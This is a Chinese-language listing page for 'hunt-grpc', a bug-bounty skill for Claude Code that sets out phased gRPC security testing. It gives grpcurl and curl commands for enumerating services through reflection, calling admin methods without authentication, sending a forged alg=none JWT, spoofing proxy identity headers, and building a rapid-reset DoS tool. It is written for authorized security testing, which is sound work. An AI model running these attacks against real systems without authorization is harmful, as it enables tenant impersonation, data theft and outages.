mcpField
H
hunt-grpc

hunt-grpc

github.com/elementalsouls安全5.3k253 次安装今天更新
代码仓库

关于 hunt-grpc

hunt-grpc 是面向安全测试人员的 gRPC 审计技能,指导服务发现、鉴权边界测试及代理转码路由检查。它强调区分反射等信息线索与可验证的未授权访问,并要求 DoS 测试先取得书面授权。

主要功能

  1. 01发现 gRPC 服务与可用端口
  2. 02通过反射或 Proto 文件枚举服务
  3. 03测试方法级鉴权与身份元数据信任
  4. 04检查 gRPC-Web 和 REST 转码路由
  5. 05验证状态码并区分误报

适用场景

  1. 01审计内部 gRPC 服务的外部暴露
  2. 02验证代理是否转发可伪造的身份元数据
  3. 03检查转码路由是否暴露未授权 RPC

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-grpc

安装后在 Claude Code 中输入/hunt-grpc确认已加载。

详细介绍

HUNT-GRPC — gRPC 安全

皇冠明珠目标

启用 gRPC 反射 = 无需源代码即可枚举完整服务目录。价值最高的 gRPC 漏洞源于一种架构假设:服务是“内部的”——身份验证在边缘代理上执行,后端信任任何能够访问它的调用方。一旦你直接访问后端(暴露的端口、SSRF、绕过代理),这种信任就会崩溃。

价值最高的发现:

  • 生产环境启用了反射 — grpc.reflection.v1alpha.ServerReflection / grpc.reflection.v1.ServerReflection 会列出每个方法、消息和内部服务。这是枚举的助力,本身并非漏洞(见验证)。
  • 内部服务缺少身份验证 — 面向东西向微服务流量设计的服务对外暴露,既没有 mTLS,也没有按方法授权 → 直接调用特权方法。
  • 仅边缘身份验证 / 元数据未剥离 — 代理对用户进行身份验证,但后端重新信任代理注入的请求头(x-user-id、x-tenant-id、x-forwarded-*);如果你能访问后端,或能通过代理注入这些请求头,就可以冒充任意租户。
  • 明文 gRPC — 非标准端口上的 gRPC h2c(明文 HTTP/2)→ 凭据/元数据可能被截获。
  • HTTP/2 Rapid Reset DoS(CVE-2023-44487) — 交错发送 HEADERS 和立即发送 RST_STREAM 帧可绕过 MAX_CONCURRENT_STREAMS 计数 → 耗尽资源。几乎没有任何计划允许测试 DoS——发送任何突发请求前,务必取得明确的书面授权。

阶段 1 — 指纹识别与端口发现

# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open

# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"

# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
  -H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status

# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
  -H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"

出现 grpc-status trailer ⇒ 该端口后面有 gRPC 服务端(或 grpc-gateway/Envoy)。在随机路径上返回 UNIMPLEMENTED 是正常现象,只能确认传输协议,并非漏洞发现。


阶段 2 — 通过反射枚举服务

brew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure  $TARGET:443   list

# Typical output when reflection is on:
#   grpc.reflection.v1.ServerReflection
#   grpc.health.v1.Health
#   user.UserService
#   admin.AdminService
#   payment.PaymentService

# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema

# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
  echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt

反射已禁用? 如果你能猜到方法名,仍可调用已知方法;也可以从泄露的 .proto 重建 descriptor set(阶段 5),并通过 grpcurl -protoset bundle.bin ... 传入。关闭反射是加固措施,而非安全边界。


阶段 3 — 无需身份验证调用方法(授权测试)

# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers

# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
  echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
    -d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done

解读 gRPC 状态码,而不只是看是否有字节返回(见验证):

  • OK + 返回内容非空 → 方法在未经身份验证的情况下执行 → 漏洞发现。
  • Unauthenticated (16) / PermissionDenied (7) → 已强制执行授权;不是漏洞发现。
  • Unimplemented (12) → 路径错误 / 此服务端上没有该方法。
  • InvalidArgument (3) → 已到达该方法,并解析了你的输入 → 方法可调用;修正负载后重试。

阶段 4 — 身份验证 / 信任边界绕过

# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
  -H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
  -d '{}' admin.AdminService/GetConfig

# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
#     then trust identity injected as metadata. If the edge does not STRIP these,
#     spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
         "x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
         "x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
  echo "== $H =="
  grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done

# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
#     server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
  -d '{}' admin.AdminService/GetConfig

元数据未剥离漏洞(b)是 gRPC 特有的皇冠明珠:先将伪造的请求头直接发送到后端端口进行确认,再单独通过公共代理发送——如果代理将你的 x-user-id 原样转发给后端,那么真实用户也会受到影响,而不只是通过绕过端口才能利用。


阶段 5 — Proto 文件 / Schema 发现

# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
  S=$(curl -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
  [ "$S" != 404 ] && echo "Found: /$P ($S)"
done

# Source/registry leakage of .proto definitions
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null

# Rebuild a descriptor set from leaked protos and drive the API without reflection
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list

Proto 泄露本身严重性较低;它的价值在于能打开一扇门,让你针对禁用了反射的目标执行阶段 3–4 的测试。


阶段 6 — gRPC-Web / grpc-gateway / JSON 转码攻击

gRPC 几乎总是通过转码器触达浏览器:Envoy grpc_web/grpc_json_transcoder、grpc-gateway(REST↔gRPC)或 Connect。这些转换器是现实中的外部攻击面,并且经常会重新暴露内部方法。

# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
#     map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
curl -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
  -H 'content-type: application/json' -d '{}'    # default unannotated route

# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
#     Encode the message with protoscope so the bytes are correct:
#       protoscope -s <<<'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2)))                 # 4-byte length prefix
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
  --data-binary @frame.bin | xxd | head

# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
  -d '{"user_id": 1}'

# (d) Connect protocol (buf): plain JSON POST, unary, no framing:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/json' -H 'connect-protocol-version: 1' \
  -d '{"user_id": 1}'

这很重要的原因:面向浏览器的转码器通常会将请求转发到与内部 gRPC 平面相同的后端。如果转码器路由暴露了 AdminService,或未要求 gRPC 客户端本应提供的身份验证,那么你就发现了一个真正可从外部访问的授权漏洞。确认每个转码路由都能返回包含敏感数据的 OK,并验证未经身份验证的用户或低权限用户也能访问它(而不只是能从网格内部访问)。


阶段 7 — HTTP/2 快速重置 DoS(CVE-2023-44487)

授权门槛: DoS 在绝大多数项目中都不在测试范围内。未经明确、书面且限定范围的许可,以及项目所有者认可的目标和时间窗口,切勿运行此测试。如有疑问,请跳至验证部分。

此攻击不是负载测试。它会打开流(HEADERS),并在服务端完成处理之前立即取消这些流(RST_STREAM),因此,每个已取消的流都会立即释放一个 MAX_CONCURRENT_STREAMS 槽位,而服务端仍需处理该流——客户端会迅速突破并发上限。h2load/ghz 是吞吐量基准测试工具;它们没有快速重置模式,也不会交错发送 HEADERS 和立即发送 RST_STREAM,因此无法测试此问题。

正确的工具——作者认可、确实会发出这种帧模式的 PoC:

# CERT/CC + community tracking and PoCs for CVE-2023-44487:
#   https://kb.cert.org/vuls/id/421644
#   https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/  (Cloudflare writeup)
# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
git clone https://github.com/secengjeff/rapidresetclient
cd rapidresetclient && go build -o rapidreset .
# Detection-only: a SHORT, low-count burst, with permission, then STOP:
./rapidreset --help    # confirm current flags first, then a SMALL authorized burst, e.g.:
# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20

# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.

**无需发起 DoS 的检测方式——优先采用此方法:**你只需要证明是否存在缓解措施。检查服务端横幅/版本,以及它是否会跟踪重置流量洪泛:

# Fingerprint the HTTP/2 implementation and version (patched versions are known):
curl -sI --http2 https://$TARGET/ | grep -i '^server:'
# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.

报告经版本确认的缓解措施缺失,而不是基准测试中的速度下降。“服务端在负载下变慢”并不能证明存在 CVE-2023-44487——这会对速度较慢或资源配置不足的服务端产生误报,也会对已修补且能妥善限制重置请求的服务端产生漏报。


工具

grpcurl   # primary CLI client (list/describe/call, -protoset for reflection-off)
grpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051
protoc + protoscope   # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
buf       # lint/inspect proto, drive Connect endpoints
# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
#   use them to "prove" CVE-2023-44487.

攻击链表

gRPC 发现攻击链至影响
已启用反射枚举所有内部服务方法和消息完整 API 目录泄露(攻击前提)
管理员方法未启用身份验证调用特权 RPC(DeleteUser、GetConfig)数据篡改/系统访问 — 严重
代理未剥离转发的 x-user-id/x-tenant-id伪造身份元数据 → 跨租户冒充绕过租户隔离 — 严重
通过可枚举 ID 字段实施 IDOR遍历 GetUser 的 user_id大规模 PII 外泄 — 高危
grpc-gateway / gRPC-Web 路由重新暴露内部 RPC未经身份验证访问转码后的 REST/JSON 路径可从外部访问的授权绕过 — 高危/严重
内部端口上的明文 h2c中间人攻击/嗅探元数据(承载令牌)凭据窃取 — 高危
.proto 泄露(仓库/swagger)使用 -protoset 驱动已关闭反射的目标解锁阶段 3–4 — 单独影响较低,作为攻击前提时影响较高

相关技能:hunt-idor(ID 枚举逻辑)、hunt-api-misconfig(JWT alg=none/请求消息中的批量赋值)、hunt-auth-bypass(边缘与后端的信任边界)、hunt-tls-network(h2c/明文传输和 ALPN)、cloud-iam-deep(如果被调用的 RPC 返回云凭据)。


验证——严守误报纪律

对天真的 grep 来说,gRPC 的失败模式看起来像成功。提交前请通过以下检查。

  1. 区分状态码,不要只数响应字节。 非空响应仍可能是错误帧。确认 grpc-status 尾部元数据为 0(OK)。Unauthenticated (16) / PermissionDenied (7) 表示身份验证有效——关闭此候选问题。Unimplemented (12) 表示方法不对。使用 grpcurl -v 重新运行,并明确检查尾部元数据。

  2. 反射 / 健康检查端点通常会有意公开。 grpc.reflection.* 和 grpc.health.v1.Health 可访问这一点本身属于信息泄露(最多低/中危)——许多厂商会按设计启用反射。除非它泄露了非公开的服务目录,否则不要将其报告为“缺少身份验证”。真正的问题是你随后能在第 3 阶段证明可在未通过身份验证的情况下调用的敏感服务。

  3. 区分“没有身份验证”和“此方法无需身份验证”。 有些方法(健康检查、公开目录读取)本来就允许匿名访问。通过展示经过身份验证与未经过身份验证时的状态差异来证明漏洞:同一个 RPC 在无凭据时返回其他用户 / 租户的私有数据,或执行了修改状态的管理员 RPC(重新读取已更改的状态,以确认副作用)。

  4. 区分代理与后端的可达性。 若只有通过 SSRF / 端口扫描发现的内部 :50051 才能触发漏洞,那么漏洞确实存在,但严重程度取决于可达性。明确说明外部攻击者如何触达该服务(暴露的端口、SSRF 出站流量、代理透传)。对于元数据伪造,要证明公共代理会转发伪造的标头——而不只是绕过代理直接访问后端端口。

  5. 盲测必须使用 OOB / Collaborator。 如果 RPC 接受 URL / 主机参数(webhook、导入、渲染),就应视为 SSRF 候选问题:将其指向带有唯一子域名的 Burp Collaborator 负载,并确认 DNS + HTTP 交互后再报告 SSRF。没有交互 = 没有 SSRF。转交给 hunt-ssrf。

  6. DoS 必须有授权,并能通过版本验证。 绝不能仅凭基准测试中的“变慢”就提交 CVE-2023-44487。必须满足以下任一条件:(a) 根据 server: 标头确认使用的是未修补的 HTTP/2 堆栈;或 (b) 仅在获得明确书面授权且商定测试时段的情况下演示重置洪泛——随后立即停止。响应缓慢不构成证据。

严重程度指南(通过以上检查后):

  • 无需身份验证即可调用敏感 / 管理员 RPC,且已证明副作用 → 严重
  • 代理转发的元数据伪造导致跨租户冒充 → 严重
  • 可枚举 RPC 导致 IDOR / 大规模泄露 PII → 高
  • 内部服务可从外部访问(转码器或开放端口) → 高
  • 明文 h2c 泄露 bearer 元数据 → 高
  • 启用反射并暴露非公开目录 → 中(促成因素)
  • 泄露 Proto / 描述符,但无法调用敏感方法 → 低

评论

支持 Markdown